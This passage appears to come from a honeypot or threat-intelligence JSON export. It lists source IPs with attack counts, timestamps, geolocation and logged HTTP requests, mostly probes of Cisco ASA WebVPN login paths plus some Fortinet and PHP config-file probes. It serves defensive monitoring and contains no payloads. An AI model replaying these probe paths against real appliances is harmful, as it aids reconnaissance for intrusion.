        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.20": {
      "attack_count": 15,
      "first_seen": "2026-04-08T19:56:01.832Z",
      "last_seen": "2026-04-28T05:33:51.287Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.111.128.179": {
      "attack_count": 14,
      "first_seen": "2026-04-12T01:02:46.699Z",
      "last_seen": "2026-04-13T11:48:30.707Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.111.130.232": {
      "attack_count": 14,
      "first_seen": "2026-04-13T08:19:14.126Z",
      "last_seen": "2026-04-15T06:26:03.710Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "166.1.115.113": {
      "attack_count": 14,
      "first_seen": "2026-04-13T06:49:48.633Z",
      "last_seen": "2026-04-15T01:42:38.982Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.1.255.14": {
      "attack_count": 14,
      "first_seen": "2026-04-12T01:15:45.769Z",
      "last_seen": "2026-04-13T08:50:27.706Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "77.83.4.214": {
      "attack_count": 14,
      "first_seen": "2026-04-13T02:38:15.856Z",
      "last_seen": "2026-04-13T17:47:31.193Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "143.244.47.81": {
      "attack_count": 12,
      "first_seen": "2026-04-11T07:40:22.709Z",
      "last_seen": "2026-04-24T14:34:48.212Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "149.40.50.101": {
      "attack_count": 12,
      "first_seen": "2026-04-12T02:54:26.003Z",
      "last_seen": "2026-04-27T20:57:28.731Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "173.249.253.45": {
      "attack_count": 12,
      "first_seen": "2026-04-11T10:41:49.231Z",
      "last_seen": "2026-04-25T09:03:23.679Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.159.216.61": {
      "attack_count": 12,
      "first_seen": "2026-04-12T01:50:09.279Z",
      "last_seen": "2026-04-21T15:27:16.810Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.115.100": {
      "attack_count": 12,
      "first_seen": "2026-04-09T02:15:44.785Z",
      "last_seen": "2026-04-29T01:31:59.289Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.156": {
      "attack_count": 12,
      "first_seen": "2026-04-08T23:50:24.325Z",
      "last_seen": "2026-04-13T16:17:06.536Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.100": {
      "attack_count": 12,
      "first_seen": "2026-04-18T08:31:08.592Z",
      "last_seen": "2026-04-27T14:02:02.195Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.5": {
      "attack_count": 12,
      "first_seen": "2026-04-12T03:16:17.620Z",
      "last_seen": "2026-04-26T03:54:22.533Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "64.62.156.132": {
      "attack_count": 12,
      "first_seen": "2026-04-24T02:46:59.501Z",
      "last_seen": "2026-04-24T02:54:30.357Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "104.36.50.27": {
      "attack_count": 9,
      "first_seen": "2026-04-16T04:08:24.583Z",
      "last_seen": "2026-04-28T06:00:17.665Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "142.147.89.213": {
      "attack_count": 9,
      "first_seen": "2026-04-15T01:38:56.546Z",
      "last_seen": "2026-04-29T01:58:07.880Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "156.229.246.177": {
      "attack_count": 9,
      "first_seen": "2026-04-15T06:19:22.955Z",
      "last_seen": "2026-04-15T06:19:45.055Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.103.31": {
      "attack_count": 9,
      "first_seen": "2026-04-19T05:07:14.024Z",
      "last_seen": "2026-04-28T02:29:55.193Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.188": {
      "attack_count": 9,
      "first_seen": "2026-04-10T15:32:28.318Z",
      "last_seen": "2026-04-18T04:31:35.317Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.48": {
      "attack_count": 9,
      "first_seen": "2026-04-08T20:12:31.934Z",
      "last_seen": "2026-04-25T10:26:23.721Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.106": {
      "attack_count": 9,
      "first_seen": "2026-04-13T14:17:12.099Z",
      "last_seen": "2026-04-27T15:56:17.027Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.30": {
      "attack_count": 9,
      "first_seen": "2026-04-08T09:12:24.020Z",
      "last_seen": "2026-04-29T09:49:57.122Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.104": {
      "attack_count": 9,
      "first_seen": "2026-04-11T01:37:57.534Z",
      "last_seen": "2026-04-27T21:47:29.896Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.174": {
      "attack_count": 9,
      "first_seen": "2026-04-21T13:57:57.237Z",
      "last_seen": "2026-04-25T01:53:25.224Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.222.210": {
      "attack_count": 9,
      "first_seen": "2026-04-09T02:53:52.736Z",
      "last_seen": "2026-04-26T06:56:21.309Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "142.252.81.39": {
      "attack_count": 7,
      "first_seen": "2026-04-13T13:20:38.426Z",
      "last_seen": "2026-04-13T13:20:55.902Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.102.246.157": {
      "attack_count": 6,
      "first_seen": "2026-04-21T20:46:58.842Z",
      "last_seen": "2026-04-29T12:32:34.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "123.160.223.74": {
      "attack_count": 6,
      "first_seen": "2026-04-08T18:09:02.641Z",
      "last_seen": "2026-04-28T02:37:46.531Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "160.119.76.63": {
      "attack_count": 6,
      "first_seen": "2026-04-27T15:18:55.197Z",
      "last_seen": "2026-04-27T15:29:04.068Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V."
    },
    "23.234.105.59": {
      "attack_count": 6,
      "first_seen": "2026-04-21T18:24:10.240Z",
      "last_seen": "2026-04-25T02:45:41.831Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.188": {
      "attack_count": 6,
      "first_seen": "2026-04-25T09:08:39.188Z",
      "last_seen": "2026-04-30T03:36:19.886Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.31": {
      "attack_count": 6,
      "first_seen": "2026-04-24T14:55:49.128Z",
      "last_seen": "2026-04-30T00:27:10.321Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.105": {
      "attack_count": 6,
      "first_seen": "2026-04-21T03:42:17.780Z",
      "last_seen": "2026-04-29T18:53:26.617Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.110": {
      "attack_count": 6,
      "first_seen": "2026-04-10T18:27:56.761Z",
      "last_seen": "2026-04-10T18:28:11.859Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.224.91": {
      "attack_count": 6,
      "first_seen": "2026-04-09T01:03:14.983Z",
      "last_seen": "2026-04-09T01:03:33.863Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "185.129.62.64": {
      "attack_count": 5,
      "first_seen": "2026-04-24T09:16:00.615Z",
      "last_seen": "2026-04-24T09:16:21.456Z",
      "ports": [],
      "event_types": [
        "\"GET /maint/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /meetme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /mobrise/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/flash/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 57860,
      "as_org": "Zencurity ApS"
    },
    "23.234.80.218": {
      "attack_count": 3,
      "first_seen": "2026-04-06T14:56:14.961Z",
      "last_seen": "2026-04-06T14:56:20.842Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "100.55.25.236": {
      "attack_count": 2,
      "first_seen": "2026-04-04T01:04:30.172Z",
      "last_seen": "2026-04-09T00:55:44.289Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "13.86.104.42": {
      "attack_count": 2,
      "first_seen": "2026-04-26T23:10:30.217Z",
      "last_seen": "2026-04-26T23:10:33.219Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "134.209.63.62": {
      "attack_count": 2,
      "first_seen": "2026-04-22T03:20:13.350Z",
      "last_seen": "2026-04-22T03:20:13.351Z",
      "ports": [],
      "event_types": [
        "\"PRI * HTTP/2.0\" 505 -",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "18.208.181.202": {
      "attack_count": 2,
      "first_seen": "2026-04-12T00:56:02.013Z",
      "last_seen": "2026-04-12T00:56:05.016Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "195.184.76.250": {
      "attack_count": 2,
      "first_seen": "2026-04-03T04:39:09.149Z",
      "last_seen": "2026-04-23T18:34:24.204Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "44.201.164.126": {
      "attack_count": 2,
      "first_seen": "2026-04-08T00:51:29.776Z",
      "last_seen": "2026-04-22T00:59:11.427Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.153.162.9": {
      "attack_count": 2,
      "first_seen": "2026-04-25T03:35:58.645Z",
      "last_seen": "2026-04-25T03:35:59.412Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 2914,
      "as_org": "NTT America, Inc."
    },
    "52.165.82.26": {
      "attack_count": 2,
      "first_seen": "2026-04-15T10:52:48.543Z",
      "last_seen": "2026-04-15T10:52:51.544Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "98.81.205.36": {
      "attack_count": 2,
      "first_seen": "2026-04-11T00:59:39.904Z",
      "last_seen": "2026-04-17T01:01:46.879Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "171.37.92.78": {
      "attack_count": 1,
      "first_seen": "2026-04-03T01:53:15.018Z",
      "last_seen": "2026-04-03T01:53:15.018Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Nanning",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "185.220.101.137": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:05:46.054Z",
      "last_seen": "2026-04-24T09:05:46.054Z",
      "ports": [],
      "event_types": [],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "195.184.76.136": {
      "attack_count": 1,
      "first_seen": "2026-04-05T11:53:12.165Z",
      "last_seen": "2026-04-05T11:53:12.165Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "195.184.76.253": {
      "attack_count": 1,
      "first_seen": "2026-04-03T04:29:18.221Z",
      "last_seen": "2026-04-03T04:29:18.221Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "195.184.76.80": {
      "attack_count": 1,
      "first_seen": "2026-04-26T18:24:14.471Z",
      "last_seen": "2026-04-26T18:24:14.471Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "54.163.45.247": {
      "attack_count": 1,
      "first_seen": "2026-04-17T01:02:01.584Z",
      "last_seen": "2026-04-17T01:02:01.584Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.133": {
      "attack_count": 1,
      "first_seen": "2026-04-24T02:52:10.148Z",
      "last_seen": "2026-04-24T02:52:10.148Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.109": {
      "attack_count": 1,
      "first_seen": "2026-04-08T07:49:23.272Z",
